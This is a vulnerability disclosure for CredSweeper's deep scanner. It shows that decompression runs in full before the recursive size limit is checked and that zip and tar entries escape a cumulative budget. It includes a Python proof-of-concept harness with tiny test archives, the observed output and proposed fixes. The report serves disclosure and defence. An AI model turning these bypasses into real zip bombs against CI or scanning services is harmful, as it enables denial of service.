취약점

Summary

CredSweeper's deep scanner does not enforce recursive_limit_size as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and AbstractScanner.recursive_scan() continues processing even when the residual budget is already negative.

This allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (--depth > 0). I confirmed this on upstream commit 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6 / package version 1.15.8.

The issue has two closely related exploitation paths that share the same root cause:

1. Single-stream decompressor bypass: gzip, bzip2, and lzma/xz inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative.

2. Multi-entry archive cumulative-budget bypass: zip and tar entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.

The impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.

Details

The vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.

The relevant call chain is:

• credsweeper/app.py:323 self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)
• credsweeper/deep_scanner/abstract_scanner.py:269-305 The initial deep-scan entry point passes a recursive size budget into nested scanners.
• credsweeper/deep_scanner/abstract_scanner.py:58-94 recursive_scan() stops only on:
  • negative depth
  • data shorter than MIN_DATA_LEN It does not stop when recursive_limit_size is negative.

Exact source-level issue:

1. Negative budgets are still accepted

credsweeper/deep_scanner/abstract_scanner.py:71-91

if 0 > depth:
    return candidates
depth -= 1
if MIN_DATA_LEN > len(data_provider.data):
    return candidates
...
new_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size)

There is no guard such as if recursive_limit_size < 0: return.

2. Full decompression happens before any hard budget enforcement

credsweeper/deep_scanner/gzip_scanner.py:33-43

with gzip.open(io.BytesIO(data_provider.data)) as f:
    gzip_content_provider = DataContentProvider(data=f.read(), ...)
    new_limit = recursive_limit_size - len(gzip_content_provider.data)
    gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit)

credsweeper/deep_scanner/bzip2_scanner.py:38-43

bzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...)
new_limit = recursive_limit_size - len(bzip2_content_provider.data)
bzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit)

credsweeper/deep_scanner/lzma_scanner.py:38-43

lzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...)
new_limit = recursive_limit_size - len(lzma_content_provider.data)
lzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit)

The decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because recursive_scan() accepts negative budgets, the oversize content is still scanned.

3. Multi-entry archives use per-entry checks instead of a shared cumulative budget

credsweeper/deep_scanner/zip_scanner.py:49-60

if 0 > recursive_limit_size - zfl.file_size:
    continue
with zf.open(zfl) as f:
    zip_content_provider = DataContentProvider(data=f.read(), ...)
    new_limit = recursive_limit_size - len(zip_content_provider.data)
    zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit)

credsweeper/deep_scanner/tar_scanner.py:48-59

if 0 > recursive_limit_size - tfi.size:
    continue
with tf.extractfile(tfi) as f:
    tar_content_provider = DataContentProvider(data=f.read(), ...)
    new_limit = recursive_limit_size - len(tar_content_provider.data)
    tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit)

These checks use the same original recursive_limit_size for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a zip or tar with many individually small files can exceed the intended aggregate extraction limit.

4. Same code pattern is also present in RPM scanning

credsweeper/deep_scanner/rpm_scanner.py:42-51

The RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.

Version scope:

• The vulnerable recursive scanning logic was introduced by commit 0bd8fe56ad2e08b12d47677f7dbe1a75913969ae.
• The last release before that commit is v1.4.8.
• The first release containing that commit is v1.4.9.
• Current upstream HEAD and package version 1.15.8 are still affected.

PoC

I reproduced the issue on:

• Repository: https://github.com/Samsung/CredSweeper
• Commit: 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6
• Version: 1.15.8

I used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python's standard library.

Reproduction steps:

1. Clone the repository:

git clone https://github.com/Samsung/CredSweeper.git
cd CredSweeper
git checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6

2. Save the following as proof_poc.py one directory above the repository, or adjust REPO_ROOT accordingly:

import bz2
import gzip
import importlib.util
import io
import json
import lzma
import os
import subprocess
import sys
import tarfile
import types
import zipfile

REPO_ROOT = os.path.abspath(os.environ.get("CREDSWEEPER_REPO", "CredSweeper"))
SOURCE_ROOT = os.path.join(REPO_ROOT, "credsweeper")

def load_module(name, relpath):
    spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath))
    module = importlib.util.module_from_spec(spec)
    sys.modules[name] = module
    spec.loader.exec_module(module)
    return module

def reset_credsweeper_modules():
    for name in list(sys.modules):
        if name == "credsweeper" or name.startswith("credsweeper."):
            del sys.modules[name]

def install_common_stubs():
    for name in [
        "credsweeper",
        "credsweeper.common",
        "credsweeper.config",
        "credsweeper.credentials",
        "credsweeper.deep_scanner",
        "credsweeper.file_handler",
        "credsweeper.scanner",
        "credsweeper.utils",
    ]:
        module = types.ModuleType(name)
        module.__path__ = []
        sys.modules[name] = module

    constants_module = types.ModuleType("credsweeper.common.constants")
    constants_module.RECURSIVE_SCAN_LIMITATION = 1 << 30
    constants_module.MIN_DATA_LEN = 8
    constants_module.DEFAULT_ENCODING = "utf_8"
    constants_module.UTF_8 = "utf_8"
    constants_module.MIN_VALUE_LENGTH = 4
    sys.modules["credsweeper.common.constants"] = constants_module

    config_module = types.ModuleType("credsweeper.config.config")
    class Config: pass
    config_module.Config = Config
    sys.modules["credsweeper.config.config"] = config_module

    candidate_module = types.ModuleType("credsweeper.credentials.candidate")
    class Candidate:
        @staticmethod
        def get_dummy_candidate(*_args, **_kwargs):
            return "dummy"
    candidate_module.Candidate = Candidate
    sys.modules["credsweeper.credentials.candidate"] = candidate_module

    augment_module = types.ModuleType("credsweeper.credentials.augment_candidates")
    def augment_candidates(dst, src):
        if src:
            dst.extend(src)
    augment_module.augment_candidates = augment_candidates
    sys.modules["credsweeper.credentials.augment_candidates"] = augment_module

    descriptor_module = types.ModuleType("credsweeper.file_handler.descriptor")
    class Descriptor:
        def __init__(self, extension="", info=""):
            self.extension = extension
            self.info = info
    descriptor_module.Descriptor = Descriptor
    sys.modules["credsweeper.file_handler.descriptor"] = descriptor_module

    file_path_extractor_module = types.ModuleType("credsweeper.file_handler.file_path_extractor")
    class FilePathExtractor:
        FIND_BY_EXT_RULE = "Suspicious File Extension"
        @staticmethod
        def is_find_by_ext_file(_config, _extension):
            return False
        @staticmethod
        def check_exclude_file(_config, _path):
            return False
    file_path_extractor_module.FilePathExtractor = FilePathExtractor
    sys.modules["credsweeper.file_handler.file_path_extractor"] = file_path_extractor_module

    scanner_module = types.ModuleType("credsweeper.scanner.scanner")
    class Scanner: pass
    scanner_module.Scanner = Scanner
    sys.modules["credsweeper.scanner.scanner"] = scanner_module

    util_module = types.ModuleType("credsweeper.utils.util")
    class Util:
        @staticmethod
        def get_extension(path, lower=True):
            ext = os.path.splitext(str(path))[1]
            return ext.lower() if lower else ext
    util_module.Util = Util
    sys.modules["credsweeper.utils.util"] = util_module

    content_provider_module = types.ModuleType("credsweeper.file_handler.content_provider")
    class ContentProvider: pass
    content_provider_module.ContentProvider = ContentProvider
    sys.modules["credsweeper.file_handler.content_provider"] = content_provider_module

    data_content_provider_module = types.ModuleType("credsweeper.file_handler.data_content_provider")
    class DataContentProvider:
        def __init__(self, data, file_path=None, file_type=None, info=None):
            self.data = data
            self.file_path = file_path or ""
            self.file_type = file_type or ""
            self.info = info or ""
            self.descriptor = Descriptor(extension=self.file_type, info=self.info)
    data_content_provider_module.DataContentProvider = DataContentProvider
    sys.modules["credsweeper.file_handler.data_content_provider"] = data_content_provider_module

    def install_provider_stub(module_name, class_name):
        module = types.ModuleType(module_name)
        class Provider:
            def __init__(self, *args, **kwargs):
                for key, value in kwargs.items():
                    setattr(self, key, value)
        setattr(module, class_name, Provider)
        sys.modules[module_name] = module

    install_provider_stub("credsweeper.file_handler.byte_content_provider", "ByteContentProvider")
    install_provider_stub("credsweeper.file_handler.diff_content_provider", "DiffContentProvider")
    install_provider_stub("credsweeper.file_handler.string_content_provider", "StringContentProvider")
    install_provider_stub("credsweeper.file_handler.struct_content_provider", "StructContentProvider")
    install_provider_stub("credsweeper.file_handler.text_content_provider", "TextContentProvider")

def get_head_commit():
    return subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=REPO_ROOT, text=True).strip()

def get_package_version():
    init_path = os.path.join(SOURCE_ROOT, "__init__.py")
    with open(init_path, "r", encoding="utf-8") as handle:
        for line in handle:
            if line.strip().startswith("__version__ = "):
                return line.split("=", 1)[1].strip().strip('"')
    raise RuntimeError("Cannot locate __version__")

def load_scanners():
    reset_credsweeper_modules()
    install_common_stubs()
    abstract_module = load_module("credsweeper.deep_scanner.abstract_scanner", "deep_scanner/abstract_scanner.py")
    gzip_module = load_module("credsweeper.deep_scanner.gzip_scanner", "deep_scanner/gzip_scanner.py")
    bzip2_module = load_module("credsweeper.deep_scanner.bzip2_scanner", "deep_scanner/bzip2_scanner.py")
    lzma_module = load_module("credsweeper.deep_scanner.lzma_scanner", "deep_scanner/lzma_scanner.py")
    zip_module = load_module("credsweeper.deep_scanner.zip_scanner", "deep_scanner/zip_scanner.py")
    tar_module = load_module("credsweeper.deep_scanner.tar_scanner", "deep_scanner/tar_scanner.py")
    provider_module = sys.modules["credsweeper.file_handler.data_content_provider"]
    return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module

class RecordingRecursiveCalls:
    def __init__(self):
        self.calls = []
        self.config = object()
    def recursive_scan(self, data_provider, depth, recursive_limit_size):
        self.calls.append({
            "path": data_provider.file_path,
            "len": len(data_provider.data),
            "limit": recursive_limit_size,
            "info": data_provider.info,
            "depth": depth,
        })
        return []

def build_compressed_payloads(payload):
    gzip_buffer = io.BytesIO()
    with gzip.GzipFile(fileobj=gzip_buffer, mode="wb") as handle:
        handle.write(payload)
    return {
        "gzip": gzip_buffer.getvalue(),
        "bzip2": bz2.compress(payload),
        "lzma": lzma.compress(payload),
    }

def proof_negative_budget_after_full_decompression():
    _, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners()
    DataContentProvider = provider_module.DataContentProvider
    payload = b"A" * 64
    recursive_limit_size = 16
    compressed_payloads = build_compressed_payloads(payload)
    results = []
    for name, module, file_name in [
        ("gzip", gzip_module, "proof.txt.gz"),
        ("bzip2", bzip2_module, "proof.txt.bz2"),
        ("lzma", lzma_module, "proof.txt.xz"),
    ]:
        recorder = RecordingRecursiveCalls()
        provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f"FILE:{file_name}")
        scanner_class = getattr(module, f"{name.capitalize() if name != 'bzip2' else 'Bzip2'}Scanner")
        scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)
        results.append({
            "format": name,
            "compressed_size": len(compressed_payloads[name]),
            "decompressed_size": recorder.calls[0]["len"],
            "configured_limit": recursive_limit_size,
            "residual_limit_seen_by_recursive_scan": recorder.calls[0]["limit"],
            "recursive_call": recorder.calls[0],
        })
    return results

def proof_negative_budget_not_rejected():
    abstract_module, _, _, _, _, _, provider_module = load_scanners()
    DataContentProvider = provider_module.DataContentProvider
    AbstractScanner = abstract_module.AbstractScanner
    class DemoScanner(AbstractScanner):
        @property
        def config(self):
            return object()
        @property
        def scanner(self):
            return object()
        def data_scan(self, data_provider, depth, recursive_limit_size):
            return []
        @staticmethod
        def get_deep_scanners(data, descriptor, depth):
            return [], []
        def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size):
            self.proof = {
                "data_len": len(data_provider.data),
                "depth": depth,
                "recursive_limit_size": recursive_limit_size,
            }
            return []
    demo = DemoScanner()
    provider = DataContentProvider(b"A" * 64, file_path="oversize.txt", file_type=".txt", info="FILE:oversize.txt")
    demo.recursive_scan(provider, depth=1, recursive_limit_size=-48)
    return demo.proof

def proof_cumulative_budget_bypass_in_multi_entry_archives():
    _, _, _, _, zip_module, tar_module, provider_module = load_scanners()
    DataContentProvider = provider_module.DataContentProvider
    recursive_limit_size = 16
    member_size = 12

    zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, "w", zipfile.ZIP_DEFLATED) as archive:
        archive.writestr("a.txt", b"A" * member_size)
        archive.writestr("b.txt", b"B" * member_size)

    tar_buffer = io.BytesIO()
    with tarfile.open(fileobj=tar_buffer, mode="w") as archive:
        for name, fill in [("a.txt", b"A"), ("b.txt", b"B")]:
            payload = fill * member_size
            info = tarfile.TarInfo(name)
            info.size = len(payload)
            archive.addfile(info, io.BytesIO(payload))

    results = []
    for name, module, data, scanner_name in [
        ("zip", zip_module, zip_buffer.getvalue(), "ZipScanner"),
        ("tar", tar_module, tar_buffer.getvalue(), "TarScanner"),
    ]:
        recorder = RecordingRecursiveCalls()
        provider = DataContentProvider(data, file_path=f"proof.{name}", file_type=f".{name}", info=f"FILE:proof.{name}")
        getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)
        results.append({
            "format": name,
            "configured_limit": recursive_limit_size,
            "member_size": member_size,
            "member_count": len(recorder.calls),
            "total_extracted_bytes": sum(call["len"] for call in recorder.calls),
            "recursive_calls": recorder.calls,
        })
    return results

print(json.dumps({
    "head_commit": get_head_commit(),
    "package_version": get_package_version(),
    "proof_1_negative_budget_after_full_decompression": proof_negative_budget_after_full_decompression(),
    "proof_2_negative_budget_not_rejected": proof_negative_budget_not_rejected(),
    "proof_3_cumulative_budget_bypass_in_multi_entry_archives": proof_cumulative_budget_bypass_in_multi_entry_archives(),
}, indent=2, sort_keys=True))

3. Run it with Python 3:

python proof_poc.py

4. Expected/observed output from my run on commit 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6:

{
  "head_commit": "8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6",
  "package_version": "1.15.8",
  "proof_1_negative_budget_after_full_decompression": [
    {
      "format": "gzip",
      "compressed_size": 24,
      "configured_limit": 16,
      "decompressed_size": 64,
      "residual_limit_seen_by_recursive_scan": -48
    },
    {
      "format": "bzip2",
      "compressed_size": 39,
      "configured_limit": 16,
      "decompressed_size": 64,
      "residual_limit_seen_by_recursive_scan": -48
    },
    {
      "format": "lzma",
      "compressed_size": 68,
      "configured_limit": 16,
      "decompressed_size": 64,
      "residual_limit_seen_by_recursive_scan": -48
    }
  ],
  "proof_2_negative_budget_not_rejected": {
    "data_len": 64,
    "depth": 0,
    "recursive_limit_size": -48
  },
  "proof_3_cumulative_budget_bypass_in_multi_entry_archives": [
    {
      "format": "zip",
      "configured_limit": 16,
      "member_size": 12,
      "member_count": 2,
      "total_extracted_bytes": 24
    },
    {
      "format": "tar",
      "configured_limit": 16,
      "member_size": 12,
      "member_count": 2,
      "total_extracted_bytes": 24
    }
  ]
}

What this proves:

• GZIP/BZIP2/LZMA: With a configured recursive limit of 16, CredSweeper still fully inflates a 64 byte payload and then continues recursion with a residual limit of -48.

• AbstractScanner: The negative budget is not rejected. recursive_scan() still dispatches into deep_scan_with_fallback() with recursive_limit_size = -48.

• ZIP/TAR: A configured limit of 16 still allows two 12 byte members to be processed, for a total extracted size of 24.

This is a complete end-to-end proof of the root cause and both exploitation variants.

Impact

This is an availability / resource-exhaustion vulnerability.

Who is impacted:

• Users who run CredSweeper with deep scanning enabled (--depth > 0) on untrusted repositories, archives, or binary inputs.
• CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files.
• Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content.

Practical consequences:

• Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget.
• Archive inputs with many individually small members can exceed the configured budget in aggregate.
• Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform.

Security classification:

• Primary weakness: CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
• Related weakness: CWE-400: Uncontrolled Resource Consumption

I did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion.

Mitigation

I recommend fixing this in three layers:

1. Add a hard negative-budget guard in recursive_scan() and structure_scan()

Before any recursive dispatch, abort when recursive_limit_size < 0.

2. Enforce limits before or during decompression, not after full materialization

• gzip, bzip2, lzma/xz should use bounded incremental decompression / bounded reads.
• If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.

3. Track a mutable cumulative budget across sibling archive members

• zip, tar, and rpm should share a remaining-budget counter across entries.
• After one child is accepted, decrement the shared remaining budget before processing the next sibling.

Recommended regression tests:

• A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.
• Equivalent tests for bzip2 and lzma/xz.
• A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.
• A direct unit test for recursive_scan() showing that negative recursive_limit_size stops recursion immediately.